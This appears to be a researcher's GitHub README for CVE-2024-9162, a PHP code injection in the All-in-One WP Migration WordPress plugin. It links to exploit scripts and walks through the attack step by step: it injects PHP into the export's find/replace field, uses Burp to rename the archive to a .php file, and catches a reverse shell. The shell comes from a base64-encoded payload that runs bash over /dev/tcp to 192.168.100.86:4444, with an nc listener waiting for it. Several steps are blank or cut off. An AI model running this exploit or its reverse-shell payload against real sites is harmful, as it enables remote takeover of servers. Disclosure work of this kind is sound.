# CVE-2024-9162
## All-in-One WP Migration and Backup <= 7.86 - Authenticated (Administrator+) Arbitrary PHP Code Injection
The [All-in-One WP Migration plugin for WordPress](https://wordpress.org/plugins/all-in-one-wp-migration/) is vulnerable to arbitrary PHP Code Injection due to missing file type validation during the export in all versions up to, and including, 7.86. This makes it possible for authenticated attackers, with Administrator-level access and above, to create an export file with the .php extension on the affected site's server, adding an arbitrary PHP code to it, which may make remote code execution possible.
### TL;DR Exploits
* [CVE-2024-9162.sh](https://github.com/d0n601/CVE-2024-9162/blob/main/CVE-2024-9162.sh)
* [CVE-2024-9162.py](https://github.com/d0n601/CVE-2024-9162/blob/main/CVE-2024-9162.py)
### Details
The `ai1wm_secret_key` is a 12 character alphanumeric string created when the plugin is initialized. The key is **never rotated**, **does not expire**, and is **stored plain text** in the `wp_options` table.
```sql
mysql> SELECT option_name,option_value FROM wp_options WHERE option_name='ai1wm_secret_key';
+------------------+--------------+
| option_name | option_value |
+------------------+--------------+
| ai1wm_secret_key | PwrqqK3UHQJo |
+------------------+--------------+
1 row in set (0.00 sec)
```
### Basic Proof of Concept:
This will create a php file containing a call to `phpinfo();`, which can be replaced with a better payload as seen in the manual reproduction section. Notice there is no authorization required beyond the secret key parameter.

### Manually To Reproduce:
It should be noted that the `php` file created via these steps will first appear in `wp-content/plugins/all-in-one-wp-migration/storage/EXPLOITDIR/EXPLOITFILE.php` before being deleted by the script and moved to `wp-content/ai1wm-backups/reverse_shell.php`.
* Log in, Click all in one WP migration export to access the "Export Site" [page](https://wordpress.hacker/wp-admin/admin.php?page=ai1wm_export).
* 
* In the **Find * Replace with** `<another-text>` **in the database**.
* Input `*` into the *Find* box.
* Input your crafted php payload into into the *Replae With* box (`phpinfo();`, web shell, etc).
* Reverse Shell Example: `<?php eval( base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs=')); ?>`. This will decode to `exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.100.86/4444 0>&1' ");`.
* 
* Setup Burp or similar tool and begin to proxy the traffic, then click the green "Export To -> File" option.
* 
* 
* Forward the first request: `POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/1.1`, without manipulation.
* Forward: `GET /wp-admin/admin-ajax.php?action=ai1wm_status&ai1wm_import=1&secret_key=OYXj1AIdQUnc&_=1723495770325 HTTP/2`.
* Intercepting the request to `POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2`
* Modify the `archive` parameter to whatever name you like, and the `.php` extension, and then forward the request.
* ```
POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2

* Turn off interception and let all other requests flow through until the job is completed and a download button is presented on the screen.
* 
* Notice that the link to the downoad is a link to a php file containing the payload `https://wordpress.hacker/wp-content/ai1wm-backups/reverse_shell.php`.
* Fire up a netcat listener on an attacking machine to catch the reverse shell `nc -lnvp 4444`.
* Click the download button and catch the reverse shell.
